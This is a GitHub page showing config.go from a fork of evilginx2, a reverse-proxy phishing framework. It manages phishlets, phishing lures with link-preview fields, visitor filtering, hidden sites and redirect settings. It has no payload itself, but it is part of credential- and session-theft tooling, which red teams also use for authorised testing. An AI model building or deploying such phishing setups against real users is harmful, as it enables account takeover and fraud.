forked from kgretzky/evilginx2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathconfig.go
674 lines (593 loc) · 16.9 KB
/
config.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
package core
import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/kgretzky/evilginx2/log"
"github.com/spf13/viper"
)
var BLACKLIST_MODES = []string{"all", "unauth", "noadd", "off"}
type Lure struct {
Hostname string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
Path string `mapstructure:"path" json:"path" yaml:"path"`
RedirectUrl string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"`
Phishlet string `mapstructure:"phishlet" json:"phishlet" yaml:"phishlet"`
Redirector string `mapstructure:"redirector" json:"redirector" yaml:"redirector"`
UserAgentFilter string `mapstructure:"ua_filter" json:"ua_filter" yaml:"ua_filter"`
Info string `mapstructure:"info" json:"info" yaml:"info"`
OgTitle string `mapstructure:"og_title" json:"og_title" yaml:"og_title"`
OgDescription string `mapstructure:"og_desc" json:"og_desc" yaml:"og_desc"`
OgImageUrl string `mapstructure:"og_image" json:"og_image" yaml:"og_image"`
OgUrl string `mapstructure:"og_url" json:"og_url" yaml:"og_url"`
}
type SubPhishlet struct {
Name string `mapstructure:"name" json:"name" yaml:"name"`
ParentName string `mapstructure:"parent_name" json:"parent_name" yaml:"parent_name"`
Params map[string]string `mapstructure:"params" json:"params" yaml:"params"`
}
type PhishletConfig struct {
Hostname string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
Enabled bool `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
Visible bool `mapstructure:"visible" json:"visible" yaml:"visible"`
}
type ProxyConfig struct {
Type string `mapstructure:"type" json:"type" yaml:"type"`
Address string `mapstructure:"address" json:"address" yaml:"address"`
Port int `mapstructure:"port" json:"port" yaml:"port"`
Username string `mapstructure:"username" json:"username" yaml:"username"`
Password string `mapstructure:"password" json:"password" yaml:"password"`
Enabled bool `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
}
type BlacklistConfig struct {
Mode string `mapstructure:"mode" json:"mode" yaml:"mode"`
}
type CertificatesConfig struct {
}
type GeneralConfig struct {
Domain string `mapstructure:"domain" json:"domain" yaml:"domain"`
Ipv4 string `mapstructure:"ipv4" json:"ipv4" yaml:"ipv4"`
RedirectUrl string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"`
HttpsPort int `mapstructure:"https_port" json:"https_port" yaml:"https_port"`
DnsPort int `mapstructure:"dns_port" json:"dns_port" yaml:"dns_port"`
}
type Config struct {
general *GeneralConfig
certificates *CertificatesConfig
blacklistConfig *BlacklistConfig
proxyConfig *ProxyConfig
phishletConfig map[string]*PhishletConfig
phishlets map[string]*Phishlet
phishletNames []string
activeHostnames []string
redirectorsDir string
lures []*Lure
subphishlets []*SubPhishlet
cfg *viper.Viper
}
const (
CFG_GENERAL = "general"
CFG_CERTIFICATES = "certificates"
CFG_LURES = "lures"
CFG_PROXY = "proxy"
CFG_PHISHLETS = "phishlets"
CFG_BLACKLIST = "blacklist"
CFG_SUBPHISHLETS = "subphishlets"
)
const DEFAULT_REDIRECT_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll
func NewConfig(cfg_dir string, path string) (*Config, error) {
c := &Config{
general: &GeneralConfig{},
certificates: &CertificatesConfig{},
phishletConfig: make(map[string]*PhishletConfig),
phishlets: make(map[string]*Phishlet),
phishletNames: []string{},
lures: []*Lure{},
blacklistConfig: &BlacklistConfig{},
}
c.cfg = viper.New()
c.cfg.SetConfigType("json")
if path == "" {
path = filepath.Join(cfg_dir, "config.json")
}
err := os.MkdirAll(filepath.Dir(path), os.FileMode(0700))
if err != nil {
return nil, err
}
var created_cfg bool = false
c.cfg.SetConfigFile(path)
if _, err := os.Stat(path); os.IsNotExist(err) {
created_cfg = true
err = c.cfg.WriteConfigAs(path)
if err != nil {
return nil, err
}
}
err = c.cfg.ReadInConfig()
if err != nil {
return nil, err
}
c.cfg.UnmarshalKey(CFG_GENERAL, &c.general)
c.cfg.UnmarshalKey(CFG_BLACKLIST, &c.blacklistConfig)
if !stringExists(c.blacklistConfig.Mode, BLACKLIST_MODES) {
c.SetBlacklistMode("unauth")
}
if c.general.RedirectUrl == "" && created_cfg {
c.SetRedirectUrl(DEFAULT_REDIRECT_URL)
}
if c.general.HttpsPort == 0 {
c.SetHttpsPort(443)
}
if c.general.DnsPort == 0 {
c.SetDnsPort(53)
}
c.lures = []*Lure{}
c.cfg.UnmarshalKey(CFG_LURES, &c.lures)
c.proxyConfig = &ProxyConfig{}
c.cfg.UnmarshalKey(CFG_PROXY, &c.proxyConfig)
c.cfg.UnmarshalKey(CFG_PHISHLETS, &c.phishletConfig)
c.cfg.UnmarshalKey(CFG_CERTIFICATES, &c.certificates)
return c, nil
}
func (c *Config) PhishletConfig(site string) *PhishletConfig {
if o, ok := c.phishletConfig[site]; ok {
return o
} else {
o := &PhishletConfig{
Hostname: "",
Enabled: false,
Visible: true,
}
c.phishletConfig[site] = o
return o
}
}
func (c *Config) SavePhishlets() {
c.cfg.Set(CFG_PHISHLETS, c.phishletConfig)
c.cfg.WriteConfig()
}
func (c *Config) SetSiteHostname(site string, hostname string) bool {
if c.general.Domain == "" {
log.Error("you need to set server top-level domain, first. type: server your-domain.com")
return false
}
pl, err := c.GetPhishlet(site)
if err != nil {
log.Error("%v", err)
return false
}
if pl.isTemplate {
log.Error("phishlet is a template - can't set hostname")
return false
}
if hostname != "" && hostname != c.general.Domain && !strings.HasSuffix(hostname, "."+c.general.Domain) {
log.Error("phishlet hostname must end with '%s'", c.general.Domain)
return false
}
log.Info("phishlet '%s' hostname set to: %s", site, hostname)
c.PhishletConfig(site).Hostname = hostname
c.SavePhishlets()
return true
}
func (c *Config) SetBaseDomain(domain string) {
c.general.Domain = domain
c.cfg.Set(CFG_GENERAL, c.general)
log.Info("server domain set to: %s", domain)
c.cfg.WriteConfig()
}
func (c *Config) SetServerIP(ip_addr string) {
c.general.Ipv4 = ip_addr
c.cfg.Set(CFG_GENERAL, c.general)
log.Info("server IP set to: %s", ip_addr)
c.cfg.WriteConfig()
}
func (c *Config) SetHttpsPort(port int) {
c.general.HttpsPort = port
c.cfg.Set(CFG_GENERAL, c.general)
log.Info("https port set to: %d", port)
c.cfg.WriteConfig()
}
func (c *Config) SetDnsPort(port int) {
c.general.DnsPort = port
c.cfg.Set(CFG_GENERAL, c.general)
log.Info("dns port set to: %d", port)
c.cfg.WriteConfig()
}
func (c *Config) EnableProxy(enabled bool) {
c.proxyConfig.Enabled = enabled
c.cfg.Set(CFG_PROXY, c.proxyConfig)
if enabled {
log.Info("enabled proxy")
} else {
log.Info("disabled proxy")
}
c.cfg.WriteConfig()
}
func (c *Config) SetProxyType(ptype string) {
ptypes := []string{"http", "https", "socks5", "socks5h"}
if !stringExists(ptype, ptypes) {
log.Error("invalid proxy type selected")
return
}
c.proxyConfig.Type = ptype
c.cfg.Set(CFG_PROXY, c.proxyConfig)
log.Info("proxy type set to: %s", ptype)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyAddress(address string) {
c.proxyConfig.Address = address
c.cfg.Set(CFG_PROXY, c.proxyConfig)
log.Info("proxy address set to: %s", address)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyPort(port int) {
c.proxyConfig.Port = port
c.cfg.Set(CFG_PROXY, c.proxyConfig.Port)
log.Info("proxy port set to: %d", port)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyUsername(username string) {
c.proxyConfig.Username = username
c.cfg.Set(CFG_PROXY, c.proxyConfig)
log.Info("proxy username set to: %s", username)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyPassword(password string) {
c.proxyConfig.Password = password
c.cfg.Set(CFG_PROXY, c.proxyConfig)
log.Info("proxy password set to: %s", password)
c.cfg.WriteConfig()
}
func (c *Config) IsLureHostnameValid(hostname string) bool {
for _, l := range c.lures {
if l.Hostname == hostname {
if c.PhishletConfig(l.Phishlet).Enabled {
return true
}
}
}
return false
}
func (c *Config) SetSiteEnabled(site string) error {
pl, err := c.GetPhishlet(site)
if err != nil {
log.Error("%v", err)
return err
}
if c.PhishletConfig(site).Hostname == "" {
return fmt.Errorf("enabling phishlet '%s' requires its hostname to be set up", site)
}
if pl.isTemplate {
return fmt.Errorf("phishlet '%s' is a template - you have to 'create' child phishlet from it, with predefined parameters, before you can enable it.", site)
}
c.PhishletConfig(site).Enabled = true
c.refreshActiveHostnames()
c.VerifyPhishlets()
log.Info("enabled phishlet '%s'", site)
c.SavePhishlets()
return nil
}
func (c *Config) SetSiteDisabled(site string) error {
if _, err := c.GetPhishlet(site); err != nil {
log.Error("%v", err)
return err
}
c.PhishletConfig(site).Enabled = false
c.refreshActiveHostnames()
log.Info("disabled phishlet '%s'", site)
c.SavePhishlets()
return nil
}
func (c *Config) SetSiteHidden(site string, hide bool) error {
if _, err := c.GetPhishlet(site); err != nil {
log.Error("%v", err)
return err
}
c.PhishletConfig(site).Visible = !hide
c.refreshActiveHostnames()
if hide {
log.Info("phishlet '%s' is now hidden and all requests to it will be redirected", site)
} else {
log.Info("phishlet '%s' is now reachable and visible from the outside", site)
}
c.SavePhishlets()
return nil
}
func (c *Config) SetRedirectorsDir(path string) {
c.redirectorsDir = path
}
func (c *Config) ResetAllSites() {
c.phishletConfig = make(map[string]*PhishletConfig)
c.SavePhishlets()
}
func (c *Config) IsSiteEnabled(site string) bool {
return c.PhishletConfig(site).Enabled
}
func (c *Config) IsSiteHidden(site string) bool {
return !c.PhishletConfig(site).Visible
}
func (c *Config) GetEnabledSites() []string {
var sites []string
for k, o := range c.phishletConfig {
if o.Enabled {
sites = append(sites, k)
}
}
return sites
}
func (c *Config) SetBlacklistMode(mode string) {
if stringExists(mode, BLACKLIST_MODES) {
c.blacklistConfig.Mode = mode
c.cfg.Set(CFG_BLACKLIST, c.blacklistConfig)
c.cfg.WriteConfig()
}
log.Info("blacklist mode set to: %s", mode)
}
func (c *Config) SetRedirectUrl(url string) {
c.general.RedirectUrl = url
c.cfg.Set(CFG_GENERAL, c.general)
log.Info("unauthorized request redirection URL set to: %s", url)
c.cfg.WriteConfig()
}
func (c *Config) refreshActiveHostnames() {
c.activeHostnames = []string{}
sites := c.GetEnabledSites()
for _, site := range sites {
pl, err := c.GetPhishlet(site)
if err != nil {
continue
}
for _, host := range pl.GetPhishHosts(false) {
c.activeHostnames = append(c.activeHostnames, strings.ToLower(host))
}
}
for _, l := range c.lures {
if stringExists(l.Phishlet, sites) {
if l.Hostname != "" {
c.activeHostnames = append(c.activeHostnames, strings.ToLower(l.Hostname))
}
}
}
}
func (c *Config) GetActiveHostnames(site string) []string {
var ret []string
sites := c.GetEnabledSites()
for _, _site := range sites {
if site == "" || _site == site {
pl, err := c.GetPhishlet(_site)
if err != nil {
continue
}
for _, host := range pl.GetPhishHosts(false) {
ret = append(ret, strings.ToLower(host))
}
}
}
for _, l := range c.lures {
if site == "" || l.Phishlet == site {
if l.Hostname != "" {
hostname := strings.ToLower(l.Hostname)
ret = append(ret, hostname)
}
}
}
return ret
}
func (c *Config) IsActiveHostname(host string) bool {
host = strings.ToLower(host)
if host[len(host)-1:] == "." {
host = host[:len(host)-1]
}
for _, h := range c.activeHostnames {
if h == host {
return true
}
}
return false
}
func (c *Config) AddPhishlet(site string, pl *Phishlet) {
c.phishletNames = append(c.phishletNames, site)
c.phishlets[site] = pl
c.VerifyPhishlets()
}
func (c *Config) AddSubPhishlet(site string, parent_site string, customParams map[string]string) error {
pl, err := c.GetPhishlet(parent_site)
if err != nil {
return err
}
_, err = c.GetPhishlet(site)
if err == nil {
return fmt.Errorf("phishlet '%s' already exists", site)
}
sub_pl, err := NewPhishlet(site, pl.Path, &customParams, c)
if err != nil {
return err
}
sub_pl.ParentName = parent_site
c.phishletNames = append(c.phishletNames, site)
c.phishlets[site] = sub_pl
c.VerifyPhishlets()
return nil
}
func (c *Config) DeleteSubPhishlet(site string) error {
pl, err := c.GetPhishlet(site)
if err != nil {
return err
}
if pl.ParentName == "" {
return fmt.Errorf("phishlet '%s' can't be deleted - you can only delete child phishlets.", site)
}
c.phishletNames = removeString(site, c.phishletNames)
delete(c.phishlets, site)
delete(c.phishletConfig, site)
c.SavePhishlets()
return nil
}
func (c *Config) LoadSubPhishlets() {
var subphishlets []*SubPhishlet
c.cfg.UnmarshalKey(CFG_SUBPHISHLETS, &subphishlets)
for _, spl := range subphishlets {
err := c.AddSubPhishlet(spl.Name, spl.ParentName, spl.Params)
if err != nil {
log.Error("phishlets: %s", err)
}
}
}
func (c *Config) SaveSubPhishlets() {
var subphishlets []*SubPhishlet
for _, pl := range c.phishlets {
if pl.ParentName != "" {
spl := &SubPhishlet{
Name: pl.Name,
ParentName: pl.ParentName,
Params: pl.customParams,
}
subphishlets = append(subphishlets, spl)
}
}
c.cfg.Set(CFG_SUBPHISHLETS, subphishlets)
c.cfg.WriteConfig()
}
func (c *Config) VerifyPhishlets() {
hosts := make(map[string]string)
for site, pl := range c.phishlets {
if pl.isTemplate {
continue
}
for _, ph := range pl.proxyHosts {
if ph.is_landing || ph.handle_session {
phish_host := combineHost(ph.phish_subdomain, ph.domain)
orig_host := combineHost(ph.orig_subdomain, ph.domain)
if c_site, ok := hosts[phish_host]; ok {
log.Warning("phishlets: hostname '%s' collision between '%s' and '%s' phishlets", phish_host, site, c_site)
} else if c_site, ok := hosts[orig_host]; ok {
log.Warning("phishlets: hostname '%s' collision between '%s' and '%s' phishlets", orig_host, site, c_site)
}
hosts[phish_host] = site
hosts[orig_host] = site
}
}
}
}
func (c *Config) CleanUp() {
for k := range c.phishletConfig {
_, err := c.GetPhishlet(k)
if err != nil {
delete(c.phishletConfig, k)
}
}
c.SavePhishlets()
/*
var sites_enabled []string
var sites_hidden []string
for k := range c.siteDomains {
_, err := c.GetPhishlet(k)
if err != nil {
delete(c.siteDomains, k)
} else {
if c.IsSiteEnabled(k) {
sites_enabled = append(sites_enabled, k)
}
if c.IsSiteHidden(k) {
sites_hidden = append(sites_hidden, k)
}
}
}
c.cfg.Set(CFG_SITE_DOMAINS, c.siteDomains)
c.cfg.Set(CFG_SITES_ENABLED, sites_enabled)
c.cfg.Set(CFG_SITES_HIDDEN, sites_hidden)
c.cfg.WriteConfig()*/
}
func (c *Config) AddLure(site string, l *Lure) {
c.lures = append(c.lures, l)
c.cfg.Set(CFG_LURES, c.lures)
c.cfg.WriteConfig()
}
func (c *Config) SetLure(index int, l *Lure) error {
if index >= 0 && index < len(c.lures) {
c.lures[index] = l
} else {
return fmt.Errorf("index out of bounds: %d", index)
}
c.cfg.Set(CFG_LURES, c.lures)
c.cfg.WriteConfig()
return nil
}
func (c *Config) DeleteLure(index int) error {
if index >= 0 && index < len(c.lures) {
c.lures = append(c.lures[:index], c.lures[index+1:]...)
} else {
return fmt.Errorf("index out of bounds: %d", index)
}
c.cfg.Set(CFG_LURES, c.lures)
c.cfg.WriteConfig()
return nil
}
func (c *Config) DeleteLures(index []int) []int {
tlures := []*Lure{}
di := []int{}
for n, l := range c.lures {
if !intExists(n, index) {
tlures = append(tlures, l)
} else {
di = append(di, n)
}
}
if len(di) > 0 {
c.lures = tlures
c.cfg.Set(CFG_LURES, c.lures)
c.cfg.WriteConfig()
}
return di
}
func (c *Config) GetLure(index int) (*Lure, error) {
if index >= 0 && index < len(c.lures) {
return c.lures[index], nil
} else {
return nil, fmt.Errorf("index out of bounds: %d", index)
}
}
func (c *Config) GetLureByPath(site string, path string) (*Lure, error) {
for _, l := range c.lures {
if l.Phishlet == site {
if l.Path == path {
return l, nil
}
}
}
return nil, fmt.Errorf("lure for path '%s' not found", path)
}
func (c *Config) GetPhishlet(site string) (*Phishlet, error) {
pl, ok := c.phishlets[site]
if !ok {
return nil, fmt.Errorf("phishlet '%s' not found", site)
}
return pl, nil
}
func (c *Config) GetPhishletNames() []string {
return c.phishletNames
}
func (c *Config) GetSiteDomain(site string) (string, bool) {
if o, ok := c.phishletConfig[site]; ok {
return o.Hostname, ok
}
return "", false
}
func (c *Config) GetBaseDomain() string {
return c.general.Domain
}
func (c *Config) GetServerIP() string {
return c.general.Ipv4
}
func (c *Config) GetHttpsPort() int {
return c.general.HttpsPort
}
func (c *Config) GetDnsPort() int {
return c.general.DnsPort
}
func (c *Config) GetRedirectorsDir() string {
return c.redirectorsDir
}
func (c *Config) GetBlacklistMode() string {
return c.blacklistConfig.Mode
}